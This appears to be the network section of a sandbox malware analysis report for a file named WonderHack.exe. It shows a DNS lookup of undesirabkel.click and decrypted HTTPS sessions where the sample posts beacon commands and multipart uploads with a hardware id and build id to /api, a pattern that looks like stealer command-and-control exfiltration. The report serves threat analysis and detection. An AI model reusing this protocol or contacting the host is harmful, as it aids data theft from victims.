Dec 27, 2024 23:15:12.855740070 CET	49714	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:12.855773926 CET	443	49714	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:15.153389931 CET	443	49714	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:15.153631926 CET	443	49714	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:15.153736115 CET	49714	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:15.153846979 CET	49714	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:15.153901100 CET	443	49714	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:15.191458941 CET	49720	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:15.191483021 CET	443	49720	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:15.191560984 CET	49720	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:15.191941023 CET	49720	443	192.168.2.5	104.21.30.13
Dec 27, 2024 23:15:15.191951036 CET	443	49720	104.21.30.13	192.168.2.5
Dec 27, 2024 23:15:15.432370901 CET	49720	443	192.168.2.5	104.21.30.13

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 23:14:55.472760916 CET	58235	53	192.168.2.5	1.1.1.1
Dec 27, 2024 23:14:55.805047989 CET	53	58235	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 27, 2024 23:14:55.472760916 CET	192.168.2.5	1.1.1.1	0x6d9a	Standard query (0)	undesirabkel.click	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 27, 2024 23:14:55.805047989 CET	1.1.1.1	192.168.2.5	0x6d9a	No error (0)	undesirabkel.click		104.21.30.13	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:14:55.805047989 CET	1.1.1.1	192.168.2.5	0x6d9a	No error (0)	undesirabkel.click		172.67.150.49	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

undesirabkel.click

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49708	104.21.30.13	443	6152	C:\Users\user\Desktop\WonderHack.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:14:57 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: undesirabkel.click
2024-12-27 22:14:57 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-27 22:14:57 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 22:14:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o8ddasd8tg72r9n7qg13t6lvol; expires=Tue, 22 Apr 2025 16:01:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pFAjIPvfuiLpfKmXtUjb9157F5Jw59HHWVhDpLhdkRvaQb%2Fx3KmNT2t2iQ3WwKvPb%2FYhiCdCbtWMy0kCG1UL1eCkcN%2FpC8RvI9voHyI1HSzE5dn4p32jl4h9r4pi0gXCNoyZHIw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8caaa06d1341ec-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1728&min_rtt=1723&rtt_var=656&sent=7&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1656267&cwnd=221&unsent_bytes=0&cid=4122b96e5ed8ff33&ts=913&x=0"
2024-12-27 22:14:57 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-27 22:14:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49709	104.21.30.13	443	6152	C:\Users\user\Desktop\WonderHack.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:14:59 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 54 Host: undesirabkel.click
2024-12-27 22:14:59 UTC	54	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 50 6e 68 71 6f 2d 2d 79 62 7a 6b 6c 7a 70 61 6e 6c 77 70 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LPnhqo--ybzklzpanlwp&j=
2024-12-27 22:15:00 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 22:14:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vn2tpdophud419j3fedo18a6eo; expires=Tue, 22 Apr 2025 16:01:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0nnWmve80TCGQ0qnt6AR8lOrDZkWbKveA1DB2d6dcCJ%2BawU5OoVB8EJChlfFA3rNg%2FRR3XumaaTrjmx4MA3gcoOjpQpKsPm3858OhpFXw0sRXSG%2BXt6WnqGXjRxuNsEJXq%2F2kgU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8caaae1b9732d9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1976&min_rtt=1957&rtt_var=772&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=956&delivery_rate=1384542&cwnd=174&unsent_bytes=0&cid=dba4e27e40e144fc&ts=787&x=0"
2024-12-27 22:15:00 UTC	240	IN	Data Raw: 34 39 31 63 0d 0a 37 4e 52 46 71 6b 4c 33 47 66 6c 2f 42 6e 4e 61 57 58 31 38 78 49 41 4c 57 63 7a 66 58 52 72 37 38 78 35 6e 73 6a 2b 65 74 54 57 58 39 6a 4f 49 65 4d 4d 31 32 77 78 6a 55 57 41 74 44 77 6d 68 72 43 6b 34 71 50 31 6e 66 4a 71 66 62 51 4b 65 48 65 6a 59 46 39 61 79 4a 4d 59 78 6b 6a 58 62 47 6e 35 52 59 41 49 47 58 71 48 75 4b 57 50 75 75 6a 64 34 6d 70 39 38 42 74 6c 51 37 74 6c 57 68 4c 67 69 77 69 65 55 66 5a 67 54 61 78 59 2f 50 42 77 57 71 75 6c 6d 4d 61 48 39 63 54 69 65 69 54 78 64 6b 48 4c 37 77 56 53 68 74 54 62 42 59 49 6f 31 67 6c 31 6a 48 58 68 6a 58 78 32 68 34 6d 63 2f 71 4c 51 31 63 70 4f 58 66 51 50 59 54 2f 66 54 58 59 53 32 49 63 4d 74 6e 57 6d 56 47 57 77 64 4f 54 59 63 58 75 Data Ascii: 491c7NRFqkL3Gfl/BnNaWX18xIALWczfXRr78x5nsj+etTWX9jOIeMM12wxjUWAtDwmhrCk4qP1nfJqfbQKeHejYF9ayJMYxkjXbGn5RYAIGXqHuKWPuujd4mp98BtlQ7tlWhLgiwieUfZgTaxY/PBwWqulmMaH9cTieiTxdkHL7wVShtTbBYIo1gl1jHXhjXx2h4mc/qLQ1cpOXfQPYT/fTXYS2IcMtnWmVGWwdOTYcXu
2024-12-27 22:15:00 UTC	1369	IN	Data Raw: 69 69 62 69 50 75 35 58 38 72 71 35 4a 74 46 4d 56 51 37 4e 45 58 6b 66 67 2b 69 43 65 5a 4f 38 4e 64 62 42 30 32 50 68 77 52 6f 65 4e 70 4b 61 47 39 50 48 43 52 6c 58 59 4b 33 31 4c 79 33 56 43 47 76 79 44 48 4a 35 31 39 6c 42 34 6b 58 33 67 38 42 31 37 2b 6f 6b 6b 72 72 62 34 72 64 59 6a 52 59 30 76 4a 48 66 76 62 46 39 62 32 49 63 59 68 6d 48 75 4a 46 57 38 61 50 53 6b 55 46 36 76 76 61 54 61 6b 73 6a 78 34 6e 70 74 32 43 74 70 5a 38 64 70 52 6a 72 5a 6e 68 6d 43 53 59 39 74 46 4a 44 49 39 4b 78 67 53 73 4b 42 54 65 37 48 7a 4a 6a 69 65 6e 54 78 64 6b 46 58 35 31 46 53 46 75 53 54 41 4b 34 64 37 69 52 74 70 46 43 6f 39 47 68 43 73 34 58 73 78 6f 4c 73 38 63 5a 4b 59 65 51 4c 55 48 62 4b 58 55 4a 62 32 66 34 67 42 6d 48 43 58 46 33 4d 52 65 43 52 52 42 Data Ascii: iibiPu5X8rq5JtFMVQ7NEXkfg+iCeZO8NdbB02PhwRoeNpKaG9PHCRlXYK31Ly3VCGvyDHJ519lB4kX3g8B17+okkrrb4rdYjRY0vJHfvbF9b2IcYhmHuJFW8aPSkUF6vvaTaksjx4npt2CtpZ8dpRjrZnhmCSY9tFJDI9KxgSsKBTe7HzJjienTxdkFX51FSFuSTAK4d7iRtpFCo9GhCs4XsxoLs8cZKYeQLUHbKXUJb2f4gBmHCXF3MReCRRB
2024-12-27 22:15:00 UTC	1369	IN	Data Raw: 33 70 4c 73 77 64 5a 58 52 4d 6b 58 58 52 62 79 50 46 36 53 31 4d 38 73 71 31 30 36 59 45 32 6f 57 4c 6e 73 41 55 4c 2b 69 62 6a 66 75 35 58 39 31 6d 4a 6c 36 46 39 39 51 2f 39 6c 5a 67 62 4d 6f 77 43 43 56 64 70 34 5a 62 78 6f 37 4e 68 73 4d 72 4f 4a 68 50 71 2b 33 4e 54 6a 58 30 58 73 64 6b 41 57 38 35 6b 43 46 39 42 4c 4c 4c 70 74 38 6a 56 31 37 58 79 46 37 47 42 4c 6d 75 69 6b 32 70 72 67 36 64 35 69 62 63 67 44 61 55 66 54 5a 56 4a 79 35 49 38 67 73 6e 58 47 57 45 32 41 5a 4d 54 41 55 47 4b 62 6a 59 33 76 67 2f 54 68 67 32 63 6b 38 4d 64 64 52 38 64 67 56 75 37 55 70 78 69 65 44 4f 34 52 54 66 56 45 2f 4e 31 39 47 35 75 35 67 4f 36 57 33 4f 33 69 65 6e 48 6b 47 31 31 37 78 30 46 32 41 73 53 50 45 4b 5a 68 39 6d 78 70 67 46 43 6f 2b 46 68 4b 71 6f 69 Data Ascii: 3pLswdZXRMkXXRbyPF6S1M8sq106YE2oWLnsAUL+ibjfu5X91mJl6F99Q/9lZgbMowCCVdp4Zbxo7NhsMrOJhPq+3NTjX0XsdkAW85kCF9BLLLpt8jV17XyF7GBLmuik2prg6d5ibcgDaUfTZVJy5I8gsnXGWE2AZMTAUGKbjY3vg/Thg2ck8MddR8dgVu7UpxieDO4RTfVE/N19G5u5gO6W3O3ienHkG117x0F2AsSPEKZh9mxpgFCo+FhKqoi
2024-12-27 22:15:00 UTC	1369	IN	Data Raw: 49 44 61 41 30 58 73 4a 6b 41 57 38 33 6c 36 63 75 43 6e 42 4c 5a 4e 7a 6e 42 4e 70 47 6a 34 77 47 42 6d 67 37 32 45 32 71 37 34 2b 66 4a 4f 44 66 77 37 61 55 50 61 58 47 63 36 78 50 34 68 34 31 56 79 58 4e 48 51 4b 4b 69 31 66 41 65 6a 37 4b 54 79 69 2f 57 63 34 6d 70 35 31 43 74 68 56 38 39 68 54 67 4c 41 68 78 53 57 61 63 59 6b 56 61 68 77 7a 4e 42 51 4d 70 75 39 74 4e 36 71 31 4e 48 4c 5a 33 7a 77 43 79 42 32 6b 6c 32 4b 44 75 53 66 4c 4e 74 56 6b 31 51 51 6b 46 6a 52 37 52 31 36 71 37 47 6b 30 6f 72 45 30 63 4a 69 64 63 67 4c 56 56 50 54 66 52 59 2b 79 4c 38 6b 75 6d 6e 71 66 47 47 45 56 50 7a 38 5a 45 65 61 73 4b 54 79 32 2f 57 63 34 74 72 5a 4a 52 2f 46 6e 76 4d 67 5a 6c 2f 59 67 78 47 44 4e 4f 35 63 65 61 42 6b 33 50 52 59 53 72 4f 74 69 4e 36 57 Data Ascii: IDaA0XsJkAW83l6cuCnBLZNznBNpGj4wGBmg72E2q74+fJODfw7aUPaXGc6xP4h41VyXNHQKKi1fAej7KTyi/Wc4mp51CthV89hTgLAhxSWacYkVahwzNBQMpu9tN6q1NHLZ3zwCyB2kl2KDuSfLNtVk1QQkFjR7R16q7Gk0orE0cJidcgLVVPTfRY+yL8kumnqfGGEVPz8ZEeasKTy2/Wc4trZJR/FnvMgZl/YgxGDNO5ceaBk3PRYSrOtiN6W
2024-12-27 22:15:00 UTC	1369	IN	Data Raw: 5a 52 7a 42 4e 46 62 37 74 42 65 6e 4c 67 71 78 79 69 64 63 70 6f 5a 59 52 77 2b 4e 78 55 66 6f 65 78 6e 4d 2b 37 7a 66 33 2b 42 30 53 52 46 38 55 33 6e 78 55 47 44 6c 79 72 48 59 49 6f 31 67 6c 31 6a 48 58 68 6a 58 78 65 30 35 6d 51 70 70 37 6f 78 64 35 71 44 66 51 6a 62 54 2f 76 59 55 34 6d 36 49 63 63 6d 6c 48 36 52 45 57 4d 55 4d 7a 51 54 58 75 69 69 62 69 50 75 35 58 39 57 6b 6f 4a 72 42 74 35 57 36 73 77 58 6b 66 67 2b 69 43 65 5a 4f 38 4e 64 5a 78 6f 7a 50 78 38 53 70 75 5a 6b 4f 37 79 79 4f 48 2b 51 6d 6d 34 50 31 31 72 33 33 31 79 42 73 44 58 45 4c 6f 64 2b 69 51 38 6b 58 33 67 38 42 31 37 2b 6f 6c 38 38 76 71 30 38 4f 71 69 48 66 78 50 62 55 50 43 58 53 4d 43 76 5a 38 38 73 31 53 50 62 47 32 73 59 4f 7a 51 65 46 36 72 76 62 44 4b 72 76 44 6c 38 Data Ascii: ZRzBNFb7tBenLgqxyidcpoZYRw+NxUfoexnM+7zf3+B0SRF8U3nxUGDlyrHYIo1gl1jHXhjXxe05mQpp7oxd5qDfQjbT/vYU4m6IccmlH6REWMUMzQTXuiibiPu5X9WkoJrBt5W6swXkfg+iCeZO8NdZxozPx8SpuZkO7yyOH+Qmm4P11r331yBsDXELod+iQ8kX3g8B17+ol88vq08OqiHfxPbUPCXSMCvZ88s1SPbG2sYOzQeF6rvbDKrvDl8
2024-12-27 22:15:00 UTC	1369	IN	Data Raw: 62 4c 48 65 4f 5a 54 73 36 78 4b 34 68 34 31 58 69 63 48 6d 55 62 4d 54 63 51 47 61 4c 77 59 7a 79 38 76 44 35 7a 6c 4a 31 38 43 4e 31 58 2f 64 35 61 67 72 73 67 7a 79 2b 51 4f 39 56 64 59 77 6c 34 59 31 38 2f 71 2b 6c 6c 59 50 54 39 49 44 61 41 30 58 73 4a 6b 41 57 38 31 31 32 4c 76 43 72 4c 4c 35 5a 70 6d 68 74 32 45 54 55 78 44 52 53 74 35 32 51 32 6f 37 34 35 66 70 4b 64 62 67 7a 51 58 76 65 58 47 63 36 78 50 34 68 34 31 56 69 4d 43 32 34 57 4e 43 30 55 48 36 58 30 5a 43 76 75 38 33 39 70 6e 6f 41 38 58 63 5a 4e 36 39 42 49 77 4b 39 6e 7a 79 7a 56 49 39 73 62 62 52 63 2f 50 52 45 4d 6f 2b 52 6d 4e 4b 65 30 4f 33 43 61 6b 58 67 42 31 31 6a 2f 32 31 79 4a 74 53 6a 4d 4b 5a 74 79 6c 46 30 71 55 54 38 6a 58 30 62 6d 77 33 49 34 6f 72 42 2f 5a 39 65 49 50 Data Ascii: bLHeOZTs6xK4h41XicHmUbMTcQGaLwYzy8vD5zlJ18CN1X/d5agrsgzy+QO9VdYwl4Y18/q+llYPT9IDaA0XsJkAW8112LvCrLL5Zpmht2ETUxDRSt52Q2o745fpKdbgzQXveXGc6xP4h41ViMC24WNC0UH6X0ZCvu839pnoA8XcZN69BIwK9nzyzVI9sbbRc/PREMo+RmNKe0O3CakXgB11j/21yJtSjMKZtylF0qUT8jX0bmw3I4orB/Z9eIP
2024-12-27 22:15:00 UTC	1369	IN	Data Raw: 37 7a 78 66 57 39 67 66 44 4e 70 42 38 6a 56 39 52 45 6a 59 31 47 41 6a 6d 2f 56 5a 31 37 72 49 6c 4f 4d 47 6f 5a 55 58 58 55 62 79 50 46 35 75 78 4a 38 38 36 67 33 79 58 44 47 38 63 4e 42 6b 51 47 62 44 68 5a 6a 69 2f 74 48 4e 7a 6c 4e 45 79 52 64 64 46 76 49 38 58 6f 62 45 78 79 77 2b 57 61 70 4a 64 4b 6c 45 2f 4c 56 39 47 35 74 77 70 4b 61 32 74 50 48 65 49 72 7a 78 64 79 57 4f 38 33 45 47 4a 70 69 54 65 4b 35 68 33 69 69 4d 6b 53 57 78 70 54 55 7a 30 73 48 5a 37 73 59 4a 78 4f 4a 6a 52 4a 44 7a 4a 48 65 71 58 44 39 7a 34 5a 39 70 67 7a 54 76 63 48 6e 59 44 50 6a 67 4a 48 65 48 63 56 78 79 34 74 7a 68 6f 6e 6f 5a 7a 52 5a 34 64 38 35 63 50 74 2f 59 75 7a 7a 75 45 62 5a 59 4e 59 31 45 48 64 56 38 47 35 72 6f 70 44 71 32 7a 4d 58 2b 50 67 44 45 69 78 6c Data Ascii: 7zxfW9gfDNpB8jV9REjY1GAjm/VZ17rIlOMGoZUXXUbyPF5uxJ886g3yXDG8cNBkQGbDhZji/tHNzlNEyRddFvI8XobExyw+WapJdKlE/LV9G5twpKa2tPHeIrzxdyWO83EGJpiTeK5h3iiMkSWxpTUz0sHZ7sYJxOJjRJDzJHeqXD9z4Z9pgzTvcHnYDPjgJHeHcVxy4tzhonoZzRZ4d85cPt/YuzzuEbZYNY1EHdV8G5ropDq2zMX+PgDEixl
2024-12-27 22:15:00 UTC	1369	IN	Data Raw: 73 4c 63 71 78 32 79 62 63 4a 73 61 64 41 63 6a 64 78 63 64 76 50 68 58 42 59 57 78 4f 58 2b 44 6c 6e 6f 6a 38 42 32 79 6c 31 6a 4f 37 68 36 49 61 4e 56 45 31 56 31 38 55 57 42 37 4b 68 32 6f 37 47 34 74 76 2f 41 58 57 36 4f 72 50 69 6e 58 53 4c 37 6a 55 4a 36 6e 4c 4d 55 73 31 54 58 62 47 79 52 4a 61 48 56 66 47 72 65 69 4d 57 76 38 35 6d 6f 72 7a 73 45 75 47 70 35 45 76 4d 45 58 31 75 52 70 69 44 4c 56 49 39 74 61 5a 77 4d 71 50 52 77 49 70 61 56 58 42 59 6d 7a 4f 48 6d 50 67 57 73 4b 37 6d 50 70 31 46 6d 41 73 54 48 5a 59 4e 73 37 6c 46 30 38 4b 48 68 7a 58 79 48 6f 6f 6e 46 37 39 76 30 4b 65 35 65 66 65 78 50 42 45 4e 76 5a 55 49 2b 67 4e 39 38 76 31 54 58 62 47 79 52 4a 61 6e 56 66 47 72 65 69 4d 57 76 38 35 6d 6f 72 7a 73 45 75 47 70 35 45 76 4d 45 Data Ascii: sLcqx2ybcJsadAcjdxcdvPhXBYWxOX+Dlnoj8B2yl1jO7h6IaNVE1V18UWB7Kh2o7G4tv/AXW6OrPinXSL7jUJ6nLMUs1TXbGyRJaHVfGreiMWv85morzsEuGp5EvMEX1uRpiDLVI9taZwMqPRwIpaVXBYmzOHmPgWsK7mPp1FmAsTHZYNs7lF08KHhzXyHoonF79v0Ke5efexPBENvZUI+gN98v1TXbGyRJanVfGreiMWv85morzsEuGp5EvME
2024-12-27 22:15:00 UTC	1369	IN	Data Raw: 38 55 76 6b 6a 6d 37 47 6e 49 53 65 48 56 66 45 75 61 36 4b 54 71 6b 72 54 4a 33 6e 74 31 37 48 39 63 64 73 70 64 5a 7a 75 35 6e 79 53 71 46 64 70 51 61 4b 42 63 32 4e 56 38 42 36 50 73 70 4c 65 37 6c 62 44 62 5a 67 7a 78 64 6b 42 72 2f 78 55 57 49 74 54 48 4c 5a 36 74 46 74 67 39 6a 41 54 74 35 4c 68 4f 69 39 48 77 34 76 72 6f 42 52 72 53 44 65 78 58 54 48 38 33 42 56 49 36 34 49 49 68 75 31 57 50 62 52 53 51 38 4b 6a 77 50 48 65 61 73 4b 54 66 75 35 58 39 31 69 35 5a 73 42 70 78 61 35 74 41 58 6b 66 67 2b 69 44 62 56 49 38 68 54 4a 41 4e 34 59 31 39 5a 71 4f 39 6f 4f 4b 43 2b 4c 57 71 66 6b 6d 6f 47 6c 32 50 43 2b 6b 57 4a 70 69 53 4b 45 5a 68 2f 6a 51 68 6e 41 54 38 46 49 54 4f 30 35 58 6b 34 37 4a 45 34 64 5a 57 76 51 6a 4c 42 57 75 79 56 63 59 32 67 Data Ascii: 8Uvkjm7GnISeHVfEua6KTqkrTJ3nt17H9cdspdZzu5nySqFdpQaKBc2NV8B6PspLe7lbDbZgzxdkBr/xUWItTHLZ6tFtg9jATt5LhOi9Hw4vroBRrSDexXTH83BVI64IIhu1WPbRSQ8KjwPHeasKTfu5X91i5ZsBpxa5tAXkfg+iDbVI8hTJAN4Y19ZqO9oOKC+LWqfkmoGl2PC+kWJpiSKEZh/jQhnAT8FITO05Xk47JE4dZWvQjLBWuyVcY2g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49710	104.21.30.13	443	6152	C:\Users\user\Desktop\WonderHack.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:15:01 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=EJ1O0SW4N129 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12806 Host: undesirabkel.click
2024-12-27 22:15:01 UTC	12806	OUT	Data Raw: 2d 2d 45 4a 31 4f 30 53 57 34 4e 31 32 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 44 39 34 31 36 37 45 34 43 42 42 30 43 44 44 44 39 41 43 32 31 32 44 31 35 44 33 33 39 31 37 0d 0a 2d 2d 45 4a 31 4f 30 53 57 34 4e 31 32 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 45 4a 31 4f 30 53 57 34 4e 31 32 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 79 62 7a 6b 6c 7a 70 61 6e 6c 77 70 0d 0a 2d 2d 45 4a 31 4f 30 53 57 Data Ascii: --EJ1O0SW4N129Content-Disposition: form-data; name="hwid"7D94167E4CBB0CDDD9AC212D15D33917--EJ1O0SW4N129Content-Disposition: form-data; name="pid"2--EJ1O0SW4N129Content-Disposition: form-data; name="lid"LPnhqo--ybzklzpanlwp--EJ1O0SW
2024-12-27 22:15:02 UTC	1142	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 22:15:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1dktm92cr0ic8sv631kjam72hm; expires=Tue, 22 Apr 2025 16:01:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M9k%2B%2FYWU3DbkZieTuuyD9PCVCV%2BhQjeS0EO%2F1dQ%2Br16KDQhpKoWkOa1mvFi9shvZIW8P9Jn54r%2B3GnqCgcaUU0wfLPPAzbklixqLUL%2BA%2F0kHaC9n95jQpkg0jXFrb%2FZYesEHwdk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8caabcefb40f70-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1710&min_rtt=1703&rtt_var=652&sent=8&recv=17&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13742&delivery_rate=1660034&cwnd=207&unsent_bytes=0&cid=e216de9f2c80f2e4&ts=983&x=0"
2024-12-27 22:15:02 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 22:15:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49711	104.21.30.13	443	6152	C:\Users\user\Desktop\WonderHack.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:15:04 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=DB8C8UI0HER User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15042 Host: undesirabkel.click
2024-12-27 22:15:04 UTC	15042	OUT	Data Raw: 2d 2d 44 42 38 43 38 55 49 30 48 45 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 44 39 34 31 36 37 45 34 43 42 42 30 43 44 44 44 39 41 43 32 31 32 44 31 35 44 33 33 39 31 37 0d 0a 2d 2d 44 42 38 43 38 55 49 30 48 45 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 44 42 38 43 38 55 49 30 48 45 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 79 62 7a 6b 6c 7a 70 61 6e 6c 77 70 0d 0a 2d 2d 44 42 38 43 38 55 49 30 48 45 Data Ascii: --DB8C8UI0HERContent-Disposition: form-data; name="hwid"7D94167E4CBB0CDDD9AC212D15D33917--DB8C8UI0HERContent-Disposition: form-data; name="pid"2--DB8C8UI0HERContent-Disposition: form-data; name="lid"LPnhqo--ybzklzpanlwp--DB8C8UI0HE
2024-12-27 22:15:05 UTC	1133	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 22:15:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r5kmsu7790uo33i66n6tr1q2es; expires=Tue, 22 Apr 2025 16:01:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ky%2FyinfngtdA8tiMdFB75%2BRCrtb3R3VC4S6S0oCvIgMxVQqF0yNTo1TAOYdGHkXPNwhU8Ayo3vle6Jqx52t2zZBOx37t%2BZgk37OhofsEUkbIzvxyh7jlyrpVxYOtU7%2BHHfLDFMU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8caacd8c66199d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2072&min_rtt=2056&rtt_var=803&sent=10&recv=19&lost=0&retrans=0&sent_bytes=2846&recv_bytes=15977&delivery_rate=1336384&cwnd=223&unsent_bytes=0&cid=9d9cced4a2ffd374&ts=854&x=0"
2024-12-27 22:15:05 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 22:15:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

